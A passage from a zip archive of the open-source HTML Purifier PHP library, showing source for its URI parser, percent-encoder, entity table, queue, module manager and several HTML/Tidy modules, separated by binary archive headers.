$r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/";
$matches = array();
preg_match($r_authority, $authority, $matches);
$userinfo = !empty($matches[1]) ? $matches[2] : null;
$host = !empty($matches[3]) ? $matches[3] : '';
$port = !empty($matches[4]) ? (int) $matches[5] : null;
} else {
$port = $host = $userinfo = null;
}
return new HTMLPurifier_URI(
$scheme, $userinfo, $host, $port, $path, $query, $fragment);
}
}
// vim: et sw=4 sts=4
PK j�$ZV�{o�
�
4 htmlpurifier/library/HTMLPurifier/PercentEncoder.phpnu �[��� <?php
/**
* Class that handles operations involving percent-encoding in URIs.
*
* @warning
* Be careful when reusing instances of PercentEncoder. The object
* you use for normalize() SHOULD NOT be used for encode(), or
* vice-versa.
*/
class HTMLPurifier_PercentEncoder
{
/**
* Reserved characters to preserve when using encode().
* @type array
*/
protected $preserve = array();
/**
* String of characters that should be preserved while using encode().
* @param bool $preserve
*/
public function __construct($preserve = false)
{
// unreserved letters, ought to const-ify
for ($i = 48; $i <= 57; $i++) { // digits
$this->preserve[$i] = true;
}
for ($i = 65; $i <= 90; $i++) { // upper-case
$this->preserve[$i] = true;
}
for ($i = 97; $i <= 122; $i++) { // lower-case
$this->preserve[$i] = true;
}
$this->preserve[45] = true; // Dash -
$this->preserve[46] = true; // Period .
$this->preserve[95] = true; // Underscore _
$this->preserve[126]= true; // Tilde ~
// extra letters not to escape
if ($preserve !== false) {
for ($i = 0, $c = strlen($preserve); $i < $c; $i++) {
$this->preserve[ord($preserve[$i])] = true;
}
}
}
/**
* Our replacement for urlencode, it encodes all non-reserved characters,
* as well as any extra characters that were instructed to be preserved.
* @note
* Assumes that the string has already been normalized, making any
* and all percent escape sequences valid. Percents will not be
* re-escaped, regardless of their status in $preserve
* @param string $string String to be encoded
* @return string Encoded string.
*/
public function encode($string)
{
$ret = '';
for ($i = 0, $c = strlen($string); $i < $c; $i++) {
if ($string[$i] !== '%' && !isset($this->preserve[$int = ord($string[$i])])) {
$ret .= '%' . sprintf('%02X', $int);
} else {
$ret .= $string[$i];
}
}
return $ret;
}
/**
* Fix up percent-encoding by decoding unreserved characters and normalizing.
* @warning This function is affected by $preserve, even though the
* usual desired behavior is for this not to preserve those
* characters. Be careful when reusing instances of PercentEncoder!
* @param string $string String to normalize
* @return string
*/
public function normalize($string)
{
if ($string == '') {
return '';
}
$parts = explode('%', $string);
$ret = array_shift($parts);
foreach ($parts as $part) {
$length = strlen($part);
if ($length < 2) {
$ret .= '%25' . $part;
continue;
}
$encoding = substr($part, 0, 2);
$text = substr($part, 2);
if (!ctype_xdigit($encoding)) {
$ret .= '%25' . $part;
continue;
}
$int = hexdec($encoding);
if (isset($this->preserve[$int])) {
$ret .= chr($int) . $text;
continue;
}
$encoding = strtoupper($encoding);
$ret .= '%' . $encoding . $text;
}
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z���� � ; htmlpurifier/library/HTMLPurifier/EntityLookup/entities.sernu �[��� a:253:{s:4:"fnof";s:2:"ƒ";s:5:"Alpha";s:2:"Α";s:4:"Beta";s:2:"Β";s:5:"Gamma";s:2:"Γ";s:5:"Delta";s:2:"Δ";s:7:"Epsilon";s:2:"Ε";s:4:"Zeta";s:2:"Ζ";s:3:"Eta";s:2:"Η";s:5:"Theta";s:2:"Θ";s:4:"Iota";s:2:"Ι";s:5:"Kappa";s:2:"Κ";s:6:"Lambda";s:2:"Λ";s:2:"Mu";s:2:"Μ";s:2:"Nu";s:2:"Ν";s:2:"Xi";s:2:"Ξ";s:7:"Omicron";s:2:"Ο";s:2:"Pi";s:2:"Π";s:3:"Rho";s:2:"Ρ";s:5:"Sigma";s:2:"Σ";s:3:"Tau";s:2:"Τ";s:7:"Upsilon";s:2:"Υ";s:3:"Phi";s:2:"Φ";s:3:"Chi";s:2:"Χ";s:3:"Psi";s:2:"Ψ";s:5:"Omega";s:2:"Ω";s:5:"alpha";s:2:"α";s:4:"beta";s:2:"β";s:5:"gamma";s:2:"γ";s:5:"delta";s:2:"δ";s:7:"epsilon";s:2:"ε";s:4:"zeta";s:2:"ζ";s:3:"eta";s:2:"η";s:5:"theta";s:2:"θ";s:4:"iota";s:2:"ι";s:5:"kappa";s:2:"κ";s:6:"lambda";s:2:"λ";s:2:"mu";s:2:"μ";s:2:"nu";s:2:"ν";s:2:"xi";s:2:"ξ";s:7:"omicron";s:2:"ο";s:2:"pi";s:2:"π";s:3:"rho";s:2:"ρ";s:6:"sigmaf";s:2:"ς";s:5:"sigma";s:2:"σ";s:3:"tau";s:2:"τ";s:7:"upsilon";s:2:"υ";s:3:"phi";s:2:"φ";s:3:"chi";s:2:"χ";s:3:"psi";s:2:"ψ";s:5:"omega";s:2:"ω";s:8:"thetasym";s:2:"ϑ";s:5:"upsih";s:2:"ϒ";s:3:"piv";s:2:"ϖ";s:4:"bull";s:3:"•";s:6:"hellip";s:3:"…";s:5:"prime";s:3:"′";s:5:"Prime";s:3:"″";s:5:"oline";s:3:"‾";s:5:"frasl";s:3:"⁄";s:6:"weierp";s:3:"℘";s:5:"image";s:3:"ℑ";s:4:"real";s:3:"ℜ";s:5:"trade";s:3:"™";s:7:"alefsym";s:3:"ℵ";s:4:"larr";s:3:"←";s:4:"uarr";s:3:"↑";s:4:"rarr";s:3:"→";s:4:"darr";s:3:"↓";s:4:"harr";s:3:"↔";s:5:"crarr";s:3:"↵";s:4:"lArr";s:3:"⇐";s:4:"uArr";s:3:"⇑";s:4:"rArr";s:3:"⇒";s:4:"dArr";s:3:"⇓";s:4:"hArr";s:3:"⇔";s:6:"forall";s:3:"∀";s:4:"part";s:3:"∂";s:5:"exist";s:3:"∃";s:5:"empty";s:3:"∅";s:5:"nabla";s:3:"∇";s:4:"isin";s:3:"∈";s:5:"notin";s:3:"∉";s:2:"ni";s:3:"∋";s:4:"prod";s:3:"∏";s:3:"sum";s:3:"∑";s:5:"minus";s:3:"−";s:6:"lowast";s:3:"∗";s:5:"radic";s:3:"√";s:4:"prop";s:3:"∝";s:5:"infin";s:3:"∞";s:3:"ang";s:3:"∠";s:3:"and";s:3:"∧";s:2:"or";s:3:"∨";s:3:"cap";s:3:"∩";s:3:"cup";s:3:"∪";s:3:"int";s:3:"∫";s:6:"there4";s:3:"∴";s:3:"sim";s:3:"∼";s:4:"cong";s:3:"≅";s:5:"asymp";s:3:"≈";s:2:"ne";s:3:"≠";s:5:"equiv";s:3:"≡";s:2:"le";s:3:"≤";s:2:"ge";s:3:"≥";s:3:"sub";s:3:"⊂";s:3:"sup";s:3:"⊃";s:4:"nsub";s:3:"⊄";s:4:"sube";s:3:"⊆";s:4:"supe";s:3:"⊇";s:5:"oplus";s:3:"⊕";s:6:"otimes";s:3:"⊗";s:4:"perp";s:3:"⊥";s:4:"sdot";s:3:"⋅";s:5:"lceil";s:3:"⌈";s:5:"rceil";s:3:"⌉";s:6:"lfloor";s:3:"⌊";s:6:"rfloor";s:3:"⌋";s:4:"lang";s:3:"〈";s:4:"rang";s:3:"〉";s:3:"loz";s:3:"◊";s:6:"spades";s:3:"♠";s:5:"clubs";s:3:"♣";s:6:"hearts";s:3:"♥";s:5:"diams";s:3:"♦";s:4:"quot";s:1:""";s:3:"amp";s:1:"&";s:2:"lt";s:1:"<";s:2:"gt";s:1:">";s:4:"apos";s:1:"'";s:5:"OElig";s:2:"Œ";s:5:"oelig";s:2:"œ";s:6:"Scaron";s:2:"Š";s:6:"scaron";s:2:"š";s:4:"Yuml";s:2:"Ÿ";s:4:"circ";s:2:"ˆ";s:5:"tilde";s:2:"˜";s:4:"ensp";s:3:" ";s:4:"emsp";s:3:" ";s:6:"thinsp";s:3:" ";s:4:"zwnj";s:3:"";s:3:"zwj";s:3:"";s:3:"lrm";s:3:"";s:3:"rlm";s:3:"";s:5:"ndash";s:3:"–";s:5:"mdash";s:3:"—";s:5:"lsquo";s:3:"‘";s:5:"rsquo";s:3:"’";s:5:"sbquo";s:3:"‚";s:5:"ldquo";s:3:"“";s:5:"rdquo";s:3:"”";s:5:"bdquo";s:3:"„";s:6:"dagger";s:3:"†";s:6:"Dagger";s:3:"‡";s:6:"permil";s:3:"‰";s:6:"lsaquo";s:3:"‹";s:6:"rsaquo";s:3:"›";s:4:"euro";s:3:"€";s:4:"nbsp";s:2:" ";s:5:"iexcl";s:2:"¡";s:4:"cent";s:2:"¢";s:5:"pound";s:2:"£";s:6:"curren";s:2:"¤";s:3:"yen";s:2:"¥";s:6:"brvbar";s:2:"¦";s:4:"sect";s:2:"§";s:3:"uml";s:2:"¨";s:4:"copy";s:2:"©";s:4:"ordf";s:2:"ª";s:5:"laquo";s:2:"«";s:3:"not";s:2:"¬";s:3:"shy";s:2:"";s:3:"reg";s:2:"®";s:4:"macr";s:2:"¯";s:3:"deg";s:2:"°";s:6:"plusmn";s:2:"±";s:4:"sup2";s:2:"²";s:4:"sup3";s:2:"³";s:5:"acute";s:2:"´";s:5:"micro";s:2:"µ";s:4:"para";s:2:"¶";s:6:"middot";s:2:"·";s:5:"cedil";s:2:"¸";s:4:"sup1";s:2:"¹";s:4:"ordm";s:2:"º";s:5:"raquo";s:2:"»";s:6:"frac14";s:2:"¼";s:6:"frac12";s:2:"½";s:6:"frac34";s:2:"¾";s:6:"iquest";s:2:"¿";s:6:"Agrave";s:2:"À";s:6:"Aacute";s:2:"Á";s:5:"Acirc";s:2:"Â";s:6:"Atilde";s:2:"Ã";s:4:"Auml";s:2:"Ä";s:5:"Aring";s:2:"Å";s:5:"AElig";s:2:"Æ";s:6:"Ccedil";s:2:"Ç";s:6:"Egrave";s:2:"È";s:6:"Eacute";s:2:"É";s:5:"Ecirc";s:2:"Ê";s:4:"Euml";s:2:"Ë";s:6:"Igrave";s:2:"Ì";s:6:"Iacute";s:2:"Í";s:5:"Icirc";s:2:"Î";s:4:"Iuml";s:2:"Ï";s:3:"ETH";s:2:"Ð";s:6:"Ntilde";s:2:"Ñ";s:6:"Ograve";s:2:"Ò";s:6:"Oacute";s:2:"Ó";s:5:"Ocirc";s:2:"Ô";s:6:"Otilde";s:2:"Õ";s:4:"Ouml";s:2:"Ö";s:5:"times";s:2:"×";s:6:"Oslash";s:2:"Ø";s:6:"Ugrave";s:2:"Ù";s:6:"Uacute";s:2:"Ú";s:5:"Ucirc";s:2:"Û";s:4:"Uuml";s:2:"Ü";s:6:"Yacute";s:2:"Ý";s:5:"THORN";s:2:"Þ";s:5:"szlig";s:2:"ß";s:6:"agrave";s:2:"à";s:6:"aacute";s:2:"á";s:5:"acirc";s:2:"â";s:6:"atilde";s:2:"ã";s:4:"auml";s:2:"ä";s:5:"aring";s:2:"å";s:5:"aelig";s:2:"æ";s:6:"ccedil";s:2:"ç";s:6:"egrave";s:2:"è";s:6:"eacute";s:2:"é";s:5:"ecirc";s:2:"ê";s:4:"euml";s:2:"ë";s:6:"igrave";s:2:"ì";s:6:"iacute";s:2:"í";s:5:"icirc";s:2:"î";s:4:"iuml";s:2:"ï";s:3:"eth";s:2:"ð";s:6:"ntilde";s:2:"ñ";s:6:"ograve";s:2:"ò";s:6:"oacute";s:2:"ó";s:5:"ocirc";s:2:"ô";s:6:"otilde";s:2:"õ";s:4:"ouml";s:2:"ö";s:6:"divide";s:2:"÷";s:6:"oslash";s:2:"ø";s:6:"ugrave";s:2:"ù";s:6:"uacute";s:2:"ú";s:5:"ucirc";s:2:"û";s:4:"uuml";s:2:"ü";s:6:"yacute";s:2:"ý";s:5:"thorn";s:2:"þ";s:4:"yuml";s:2:"ÿ";}PK j�$Z�R9H + htmlpurifier/library/HTMLPurifier/Queue.phpnu �[��� <?php
/**
* A simple array-backed queue, based off of the classic Okasaki
* persistent amortized queue. The basic idea is to maintain two
* stacks: an input stack and an output stack. When the output
* stack runs out, reverse the input stack and use it as the output
* stack.
*
* We don't use the SPL implementation because it's only supported
* on PHP 5.3 and later.
*
* Exercise: Prove that push/pop on this queue take amortized O(1) time.
*
* Exercise: Extend this queue to be a deque, while preserving amortized
* O(1) time. Some care must be taken on rebalancing to avoid quadratic
* behaviour caused by repeatedly shuffling data from the input stack
* to the output stack and back.
*/
class HTMLPurifier_Queue {
private $input;
private $output;
public function __construct($input = array()) {
$this->input = $input;
$this->output = array();
}
/**
* Shifts an element off the front of the queue.
*/
public function shift() {
if (empty($this->output)) {
$this->output = array_reverse($this->input);
$this->input = array();
}
if (empty($this->output)) {
return NULL;
}
return array_pop($this->output);
}
/**
* Pushes an element onto the front of the queue.
*/
public function push($x) {
array_push($this->input, $x);
}
/**
* Checks if it's empty.
*/
public function isEmpty() {
return empty($this->input) && empty($this->output);
}
}
PK j�$Z48Y�J> J> 7 htmlpurifier/library/HTMLPurifier/HTMLModuleManager.phpnu �[��� <?php
class HTMLPurifier_HTMLModuleManager
{
/**
* @type HTMLPurifier_DoctypeRegistry
*/
public $doctypes;
/**
* Instance of current doctype.
* @type string
*/
public $doctype;
/**
* @type HTMLPurifier_AttrTypes
*/
public $attrTypes;
/**
* Active instances of modules for the specified doctype are
* indexed, by name, in this array.
* @type HTMLPurifier_HTMLModule[]
*/
public $modules = array();
/**
* Array of recognized HTMLPurifier_HTMLModule instances,
* indexed by module's class name. This array is usually lazy loaded, but a
* user can overload a module by pre-emptively registering it.
* @type HTMLPurifier_HTMLModule[]
*/
public $registeredModules = array();
/**
* List of extra modules that were added by the user
* using addModule(). These get unconditionally merged into the current doctype, whatever
* it may be.
* @type HTMLPurifier_HTMLModule[]
*/
public $userModules = array();
/**
* Associative array of element name to list of modules that have
* definitions for the element; this array is dynamically filled.
* @type array
*/
public $elementLookup = array();
/**
* List of prefixes we should use for registering small names.
* @type array
*/
public $prefixes = array('HTMLPurifier_HTMLModule_');
/**
* @type HTMLPurifier_ContentSets
*/
public $contentSets;
/**
* @type HTMLPurifier_AttrCollections
*/
public $attrCollections;
/**
* If set to true, unsafe elements and attributes will be allowed.
* @type bool
*/
public $trusted = false;
public function __construct()
{
// editable internal objects
$this->attrTypes = new HTMLPurifier_AttrTypes();
$this->doctypes = new HTMLPurifier_DoctypeRegistry();
// setup basic modules
$common = array(
'CommonAttributes', 'Text', 'Hypertext', 'List',
'Presentation', 'Edit', 'Bdo', 'Tables', 'Image',
'StyleAttribute',
// Unsafe:
'Scripting', 'Object', 'Forms',
// Sorta legacy, but present in strict:
'Name',
);
$transitional = array('Legacy', 'Target', 'Iframe');
$xml = array('XMLCommonAttributes');
$non_xml = array('NonXMLCommonAttributes');
// setup basic doctypes
$this->doctypes->register(
'HTML 4.01 Transitional',
false,
array_merge($common, $transitional, $non_xml),
array('Tidy_Transitional', 'Tidy_Proprietary'),
array(),
'-//W3C//DTD HTML 4.01 Transitional//EN',
'http://www.w3.org/TR/html4/loose.dtd'
);
$this->doctypes->register(
'HTML 4.01 Strict',
false,
array_merge($common, $non_xml),
array('Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'),
array(),
'-//W3C//DTD HTML 4.01//EN',
'http://www.w3.org/TR/html4/strict.dtd'
);
$this->doctypes->register(
'XHTML 1.0 Transitional',
true,
array_merge($common, $transitional, $xml, $non_xml),
array('Tidy_Transitional', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Name'),
array(),
'-//W3C//DTD XHTML 1.0 Transitional//EN',
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
);
$this->doctypes->register(
'XHTML 1.0 Strict',
true,
array_merge($common, $xml, $non_xml),
array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Strict', 'Tidy_Proprietary', 'Tidy_Name'),
array(),
'-//W3C//DTD XHTML 1.0 Strict//EN',
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'
);
$this->doctypes->register(
'XHTML 1.1',
true,
// Iframe is a real XHTML 1.1 module, despite being
// "transitional"!
array_merge($common, $xml, array('Ruby', 'Iframe')),
array('Tidy_Strict', 'Tidy_XHTML', 'Tidy_Proprietary', 'Tidy_Strict', 'Tidy_Name'), // Tidy_XHTML1_1
array(),
'-//W3C//DTD XHTML 1.1//EN',
'http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd'
);
}
/**
* Registers a module to the recognized module list, useful for
* overloading pre-existing modules.
* @param $module Mixed: string module name, with or without
* HTMLPurifier_HTMLModule prefix, or instance of
* subclass of HTMLPurifier_HTMLModule.
* @param $overload Boolean whether or not to overload previous modules.
* If this is not set, and you do overload a module,
* HTML Purifier will complain with a warning.
* @note This function will not call autoload, you must instantiate
* (and thus invoke) autoload outside the method.
* @note If a string is passed as a module name, different variants
* will be tested in this order:
* - Check for HTMLPurifier_HTMLModule_$name
* - Check all prefixes with $name in order they were added
* - Check for literal object name
* - Throw fatal error
* If your object name collides with an internal class, specify
* your module manually. All modules must have been included
* externally: registerModule will not perform inclusions for you!
*/
public function registerModule($module, $overload = false)
{
if (is_string($module)) {
// attempt to load the module
$original_module = $module;
$ok = false;
foreach ($this->prefixes as $prefix) {
$module = $prefix . $original_module;
if (class_exists($module)) {
$ok = true;
break;
}
}
if (!$ok) {
$module = $original_module;
if (!class_exists($module)) {
trigger_error(
$original_module . ' module does not exist',
E_USER_ERROR
);
return;
}
}
$module = new $module();
}
if (empty($module->name)) {
trigger_error('Module instance of ' . get_class($module) . ' must have name');
return;
}
if (!$overload && isset($this->registeredModules[$module->name])) {
trigger_error('Overloading ' . $module->name . ' without explicit overload parameter', E_USER_WARNING);
}
$this->registeredModules[$module->name] = $module;
}
/**
* Adds a module to the current doctype by first registering it,
* and then tacking it on to the active doctype
*/
public function addModule($module)
{
$this->registerModule($module);
if (is_object($module)) {
$module = $module->name;
}
$this->userModules[] = $module;
}
/**
* Adds a class prefix that registerModule() will use to resolve a
* string name to a concrete class
*/
public function addPrefix($prefix)
{
$this->prefixes[] = $prefix;
}
/**
* Performs processing on modules, after being called you may
* use getElement() and getElements()
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$this->trusted = $config->get('HTML.Trusted');
// generate
$this->doctype = $this->doctypes->make($config);
$modules = $this->doctype->modules;
// take out the default modules that aren't allowed
$lookup = $config->get('HTML.AllowedModules');
$special_cases = $config->get('HTML.CoreModules');
if (is_array($lookup)) {
foreach ($modules as $k => $m) {
if (isset($special_cases[$m])) {
continue;
}
if (!isset($lookup[$m])) {
unset($modules[$k]);
}
}
}
// custom modules
if ($config->get('HTML.Proprietary')) {
$modules[] = 'Proprietary';
}
if ($config->get('HTML.SafeObject')) {
$modules[] = 'SafeObject';
}
if ($config->get('HTML.SafeEmbed')) {
$modules[] = 'SafeEmbed';
}
if ($config->get('HTML.SafeScripting') !== array()) {
$modules[] = 'SafeScripting';
}
if ($config->get('HTML.Nofollow')) {
$modules[] = 'Nofollow';
}
if ($config->get('HTML.TargetBlank')) {
$modules[] = 'TargetBlank';
}
// NB: HTML.TargetNoreferrer and HTML.TargetNoopener must be AFTER HTML.TargetBlank
// so that its post-attr-transform gets run afterwards.
if ($config->get('HTML.TargetNoreferrer')) {
$modules[] = 'TargetNoreferrer';
}
if ($config->get('HTML.TargetNoopener')) {
$modules[] = 'TargetNoopener';
}
// merge in custom modules
$modules = array_merge($modules, $this->userModules);
foreach ($modules as $module) {
$this->processModule($module);
$this->modules[$module]->setup($config);
}
foreach ($this->doctype->tidyModules as $module) {
$this->processModule($module);
$this->modules[$module]->setup($config);
}
// prepare any injectors
foreach ($this->modules as $module) {
$n = array();
foreach ($module->info_injector as $injector) {
if (!is_object($injector)) {
$class = "HTMLPurifier_Injector_$injector";
$injector = new $class;
}
$n[$injector->name] = $injector;
}
$module->info_injector = $n;
}
// setup lookup table based on all valid modules
foreach ($this->modules as $module) {
foreach ($module->info as $name => $def) {
if (!isset($this->elementLookup[$name])) {
$this->elementLookup[$name] = array();
}
$this->elementLookup[$name][] = $module->name;
}
}
// note the different choice
$this->contentSets = new HTMLPurifier_ContentSets(
// content set assembly deals with all possible modules,
// not just ones deemed to be "safe"
$this->modules
);
$this->attrCollections = new HTMLPurifier_AttrCollections(
$this->attrTypes,
// there is no way to directly disable a global attribute,
// but using AllowedAttributes or simply not including
// the module in your custom doctype should be sufficient
$this->modules
);
}
/**
* Takes a module and adds it to the active module collection,
* registering it if necessary.
*/
public function processModule($module)
{
if (!isset($this->registeredModules[$module]) || is_object($module)) {
$this->registerModule($module);
}
$this->modules[$module] = $this->registeredModules[$module];
}
/**
* Retrieves merged element definitions.
* @return Array of HTMLPurifier_ElementDef
*/
public function getElements()
{
$elements = array();
foreach ($this->modules as $module) {
if (!$this->trusted && !$module->safe) {
continue;
}
foreach ($module->info as $name => $v) {
if (isset($elements[$name])) {
continue;
}
$elements[$name] = $this->getElement($name);
}
}
// remove dud elements, this happens when an element that
// appeared to be safe actually wasn't
foreach ($elements as $n => $v) {
if ($v === false) {
unset($elements[$n]);
}
}
return $elements;
}
/**
* Retrieves a single merged element definition
* @param string $name Name of element
* @param bool $trusted Boolean trusted overriding parameter: set to true
* if you want the full version of an element
* @return HTMLPurifier_ElementDef Merged HTMLPurifier_ElementDef
* @note You may notice that modules are getting iterated over twice (once
* in getElements() and once here). This
* is because
*/
public function getElement($name, $trusted = null)
{
if (!isset($this->elementLookup[$name])) {
return false;
}
// setup global state variables
$def = false;
if ($trusted === null) {
$trusted = $this->trusted;
}
// iterate through each module that has registered itself to this
// element
foreach ($this->elementLookup[$name] as $module_name) {
$module = $this->modules[$module_name];
// refuse to create/merge from a module that is deemed unsafe--
// pretend the module doesn't exist--when trusted mode is not on.
if (!$trusted && !$module->safe) {
continue;
}
// clone is used because, ideally speaking, the original
// definition should not be modified. Usually, this will
// make no difference, but for consistency's sake
$new_def = clone $module->info[$name];
if (!$def && $new_def->standalone) {
$def = $new_def;
} elseif ($def) {
// This will occur even if $new_def is standalone. In practice,
// this will usually result in a full replacement.
$def->mergeIn($new_def);
} else {
// :TODO:
// non-standalone definitions that don't have a standalone
// to merge into could be deferred to the end
// HOWEVER, it is perfectly valid for a non-standalone
// definition to lack a standalone definition, even
// after all processing: this allows us to safely
// specify extra attributes for elements that may not be
// enabled all in one place. In particular, this might
// be the case for trusted elements. WARNING: care must
// be taken that the /extra/ definitions are all safe.
continue;
}
// attribute value expansions
$this->attrCollections->performInclusions($def->attr);
$this->attrCollections->expandIdentifiers($def->attr, $this->attrTypes);
// descendants_are_inline, for ChildDef_Chameleon
if (is_string($def->content_model) &&
strpos($def->content_model, 'Inline') !== false) {
if ($name != 'del' && $name != 'ins') {
// this is for you, ins/del
$def->descendants_are_inline = true;
}
}
$this->contentSets->generateChildDef($def, $module);
}
// This can occur if there is a blank definition, but no base to
// mix it in with
if (!$def) {
return false;
}
// add information on required attributes
foreach ($def->attr as $attr_name => $attr_def) {
if ($attr_def->required) {
$def->required_attr[] = $attr_name;
}
}
return $def;
}
}
// vim: et sw=4 sts=4
PK j�$Z6��H� � 9 htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.phpnu �[��� <?php
/**
* Module adds the nofollow attribute transformation to a tags. It
* is enabled by HTML.Nofollow
*/
class HTMLPurifier_HTMLModule_Nofollow extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Nofollow';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$a = $this->addBlankElement('a');
$a->attr_transform_post[] = new HTMLPurifier_AttrTransform_Nofollow();
}
}
// vim: et sw=4 sts=4
PK j�$Z4\�^l l 6 htmlpurifier/library/HTMLPurifier/HTMLModule/Image.phpnu �[��� <?php
/**
* XHTML 1.1 Image Module provides basic image embedding.
* @note There is specialized code for removing empty images in
* HTMLPurifier_Strategy_RemoveForeignElements
*/
class HTMLPurifier_HTMLModule_Image extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Image';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$max = $config->get('HTML.MaxImgLength');
$img = $this->addElement(
'img',
'Inline',
'Empty',
'Common',
array(
'alt*' => 'Text',
// According to the spec, it's Length, but percents can
// be abused, so we allow only Pixels.
'height' => 'Pixels#' . $max,
'width' => 'Pixels#' . $max,
'longdesc' => 'URI',
'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded
)
);
if ($max === null || $config->get('HTML.Trusted')) {
$img->attr['height'] =
$img->attr['width'] = 'Length';
}
// kind of strange, but splitting things up would be inefficient
$img->attr_transform_pre[] =
$img->attr_transform_post[] =
new HTMLPurifier_AttrTransform_ImgRequired();
}
}
// vim: et sw=4 sts=4
PK j�$Z���� � : htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.phpnu �[��� <?php
/**
* XHTML 1.1 Hypertext Module, defines hypertext links. Core Module.
*/
class HTMLPurifier_HTMLModule_Hypertext extends HTMLPurifier_HTMLModule
{
/**
* @type string
*/
public $name = 'Hypertext';
/**
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
$a = $this->addElement(
'a',
'Inline',
'Inline',
'Common',
array(
// 'accesskey' => 'Character',
// 'charset' => 'Charset',
'href' => 'URI',
// 'hreflang' => 'LanguageCode',
'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'),
'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'),
// 'tabindex' => 'Number',
// 'type' => 'ContentType',
)
);
$a->formatting = true;
$a->excludes = array('a' => true);
}
}
// vim: et sw=4 sts=4
PK j�$Z1�� � : htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.phpnu �[��� <?php
/**
* Name is deprecated, but allowed in strict doctypes, so onl
*/
class HTMLPurifier_HTMLModule_Tidy_Name extends HTMLPurifier_HTMLModule_Tidy
{
/**
* @type string
*/
public $name = 'Tidy_Name';
/**
* @type string
*/
public $defaultLevel = 'heavy';
/**
* @return array
*/
public function makeFixes()
{
$r = array();
// @name for img, a -----------------------------------------------
// Technically, it's allowed even on strict, so we allow authors to use
// it. However, it's deprecated in future versions of XHTML.
$r['img@name'] =
$r['a@name'] = new HTMLPurifier_AttrTransform_Name();
return $r;
}
}
// vim: et sw=4 sts=4
PK j�$Z���� B htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Transitional.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_Tidy_Transitional extends HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4
{
/**
* @type string
*/
public $name = 'Tidy_Transitional';
/**
* @type string
*/
public $defaultLevel = 'heavy';
}
// vim: et sw=4 sts=4
PK j�$ZR�� � C htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.phpnu �[��� <?php
class HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 extends HTMLPurifier_HTMLModule_Tidy
{
/**
* @return array
*/
public function makeFixes()
{
$r = array();
// == deprecated tag transforms ===================================
$r['font'] = new HTMLPurifier_TagTransform_Font();
$r['menu'] = new HTMLPurifier_TagTransform_Simple('ul');
$r['dir'] = new HTMLPurifier_TagTransform_Simple('ul');
$r['center'] = new HTMLPurifier_TagTransform_Simple('div', 'text-align:center;');
$r['u'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:underline;');
$r['s'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;');
$r['strike'] = new HTMLPurifier_TagTransform_Simple('span', 'text-decoration:line-through;');
// == deprecated attribute transforms =============================
$r['caption@align'] =
new HTMLPurifier_AttrTransform_EnumToCSS(
'align',
array(
// we're following IE's behavior, not Firefox's, due
// to the fact that no one supports caption-side:right,
// W3C included (with CSS 2.1). This is a slightly
// unreasonable attribute!
'left' => 'text-align:left;',
'right' => 'text-align:right;',
'top' => 'caption-side:top;',
'bottom' => 'caption-side:bottom;' // not supported by IE
)
);
// @align for img -------------------------------------------------
$r['img@align'] =
new HTMLPurifier_AttrTransform_EnumToCSS(
'align',
array(
'left' => 'float:left;',
'right' => 'float:right;',
'top' => 'vertical-align:top;',
'middle' => 'vertical-align:middle;',
'bottom' => 'vertical-align:baseline;',
)
);
// @align for table -----------------------------------------------
$r['table@align'] =
new HTMLPurifier_AttrTransform_EnumToCSS(
'align',
array(
'left' => 'float:left;',
'center' => 'margin-left:auto;margin-right:auto;',
'right' => 'float:right;'
)
);
// @align for hr -----------------------------------------------
$r['hr@align'] =
new HTMLPurifier_AttrTransform_EnumToCSS(
'align',
array(
// we use both text-align and margin because these work
// for different browsers (IE and Firefox, respectively)
// and the melange makes for a pretty cross-compatible
// solution
'left' => 'margin-left:0;margin-right:auto;text-align:left;',
'center' => 'margin-left:auto;margin-right:auto;text-align:center;',
'right' => 'margin-left:auto;margin-right:0;text-align:right;'
)
);
// @align for h1, h2, h3, h4, h5, h6, p, div ----------------------
// {{{
$align_lookup = array();
$align_values = array('left', 'right', 'center', 'justify');
foreach ($align_values as $v) {
$align_lookup[$v] = "text-align:$v;";
}
// }}}
$r['h1@align'] =
$r['h2@align'] =
$r['h3@align'] =
$r['h4@align'] =
$r['h5@align'] =
$r['h6@align'] =
$r['p@align'] =
$r['div@align'] =
new HTMLPurifier_AttrTransform_EnumToCSS('align', $align_lookup);
// @bgcolor for table, tr, td, th ---------------------------------
$r['table@bgcolor'] =
$r['td@bgcolor'] =
$r['th@bgcolor'] =
new HTMLPurifier_AttrTransform_BgColor();
// @border for img ------------------------------------------------
$r['img@border'] = new HTMLPurifier_AttrTransform_Border();
// @clear for br --------------------------------------------------
$r['br@clear'] =
new HTMLPurifier_AttrTransform_EnumToCSS(
'clear',
array(
'left' => 'clear:left;',
'right' => 'clear:right;',
'all' => 'clear:both;',
'none' => 'clear:none;',
)
);
// @height for td, th ---------------------------------------------
$r['td@height'] =
$r['th@height'] =
new HTMLPurifier_AttrTransform_Length('height');
// @hspace for img ------------------------------------------------
$r['img@hspace'] = new HTMLPurifier_AttrTransform_ImgSpace('hspace');
// @noshade for hr ------------------------------------------------
